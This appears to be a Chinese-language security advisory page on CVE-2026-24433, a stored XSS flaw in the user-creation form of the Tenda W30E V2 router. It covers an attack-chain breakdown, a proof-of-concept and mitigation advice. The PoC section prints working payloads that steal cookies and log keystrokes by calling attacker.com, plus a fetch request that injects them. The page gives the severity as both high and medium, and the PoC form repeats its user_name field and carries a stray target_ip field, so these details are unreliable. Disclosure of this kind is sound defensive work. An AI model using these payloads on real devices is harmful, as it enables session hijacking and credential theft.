IPBUF安全漏洞报告
English
CVE-2026-24433 CVSS 5.4 中危

CVE-2026-24433: Tenda W30E V2 存储型XSS漏洞

披露日期: 2026-01-26

漏洞信息

漏洞编号
CVE-2026-24433
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Shenzhen Tenda W30E V2

相关标签

存储型XSSCVE-2026-24433TendaW30E V2路由器漏洞Web应用安全固件漏洞会话劫持物联网安全CWE-79

漏洞概述

CVE-2026-24433是深圳市腾达科技有限公司生产的W30E V2路由器固件中的一个高危安全漏洞。该漏洞存在于设备的用户创建功能模块,由于对用户输入内容的过滤和验证机制存在缺陷,攻击者可以在用户名字段中注入恶意的JavaScript代码。这些注入的脚本代码会被永久存储在设备的配置数据库中,当具有管理员权限的用户访问受影响的设备管理界面时,恶意代码会自动执行。攻击者可以利用此漏洞窃取管理员的会话cookie、劫持管理员账户、执行任意操作,甚至进一步渗透内网。由于该漏洞属于存储型XSS,攻击者只需诱导管理员访问特定页面即可触发攻击,具有较高的隐蔽性和危害性。Tenda W30E V2是一款面向企业用户的高端路由器设备,广泛应用于中小型网络的互联网接入场景,因此该漏洞可能影响大量企业网络环境的安全。

技术细节

该存储型XSS漏洞的根本原因在于Tenda W30E V2固件在处理用户创建请求时,未对user_name参数进行充分的输入验证和输出编码。当低权限用户(如普通管理员)通过Web管理界面创建新用户时,可以在用户名字段中注入包含<script>标签的恶意JavaScript代码。固件系统直接将此内容存储到后端数据库或配置文件中,而没有进行HTML实体编码或脚本过滤。当具有更高权限的管理员登录设备管理界面并浏览用户列表或用户详情页面时,后端系统会直接将存储的用户名内容输出到HTML页面中。由于浏览器会将这些输出内容作为HTML解析,嵌入其中的恶意脚本代码会被执行,从而实现XSS攻击。攻击者可以利用document.cookie获取管理员的会话cookie,利用XMLHttpRequest或fetch API向攻击者控制的服务器发送窃取的数据,甚至可以通过CSRF攻击执行更多恶意操作。CVSS 3.1评分5.4反映了该漏洞需要认证且需要用户交互才能触发的特点,但其对机密性和完整性的低影响评级也表明其主要危害在于信息窃取和会话劫持。

攻击链分析

STEP 1
Reconnaissance
攻击者通过扫描或情报收集确定目标使用Tenda W30E V2路由器,并识别其Web管理界面地址
STEP 2
Authentication
攻击者获取设备的低权限访问凭证(如普通管理员账户),或利用其他漏洞获取初始访问权限
STEP 3
Payload Injection
通过Web管理界面的用户创建功能(/goform/createUser),在user_name参数中注入包含恶意JavaScript代码的XSS payload
STEP 4
Persistence
注入的恶意脚本代码被存储在设备配置中,攻击者无需维持连接即可持久化控制
STEP 5
Trigger
具有更高权限的管理员登录设备管理界面并浏览用户管理相关页面时,浏览器解析并执行存储的恶意脚本
STEP 6
Impact Execution
恶意脚本执行后,窃取管理员cookie、会话令牌或其他敏感信息,并发送至攻击者控制的服务器
STEP 7
Lateral Movement
攻击者利用窃取的凭证劫持管理员会话,执行更多敏感操作或进一步渗透内网

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2026-24433 PoC: Stored XSS in Tenda W30E V2 User Creation --> <!-- This PoC demonstrates the stored XSS vulnerability via user creation --> <!DOCTYPE html> <html> <head> <title>CVE-2026-24433 PoC</title> </head> <body> <h2>CVE-2026-24433 - Tenda W30E V2 Stored XSS</h2> <form id="exploitForm" action="http://<target_ip>/goform/createUser" method="POST"> <!-- Target router IP --> <input type="hidden" name="target_ip" value="http://192.168.0.1"> <!-- Malicious payload: Cookie stealer --> <input type="hidden" name="user_name" value='<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'> <!-- Alternative payload: Session hijacking --> <input type="hidden" name="user_name" value='<img src=x onerror="fetch(\'https://attacker.com/log?cookie=\'+btoa(document.cookie))">'> <!-- Alternative payload: Keylogger --> <input type="hidden" name="user_name" value='<script>document.onkeypress=function(e){fetch("https://attacker.com/klog?k="+e.key)}</script>'> <button type="submit">Launch Exploit</button> </form> <script> // Auto-submit form for demonstration // document.getElementById('exploitForm').submit(); // Example: Using fetch API to send the malicious request const payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)<\/script>'; fetch('/goform/createUser', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'user_name=' + encodeURIComponent(payload) + '&password=test123&privilege=1' }) .then(response => response.text()) .then(data => console.log('Payload sent:', data)) .catch(error => console.error('Error:', error)); </script> </body> </html>

影响范围

Tenda W30E V2 V16.01.0.19(5037)及以下所有版本

防御指南

临时缓解措施
在厂商发布官方修复补丁之前,建议采取以下临时缓解措施:1) 限制Web管理界面的访问来源,仅允许受信任的IP地址访问管理后台;2) 启用HTTPS管理并使用强密码策略;3) 定期检查用户账户列表,识别异常或可疑的用户账户;4) 监控网络流量,检测异常的外部连接请求;5) 考虑使用IP访问控制列表(ACL)限制管理接口;6) 提醒管理员不要点击可疑链接或访问不可信的网站;7) 启用审计日志功能,记录所有管理操作以便事后分析和溯源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表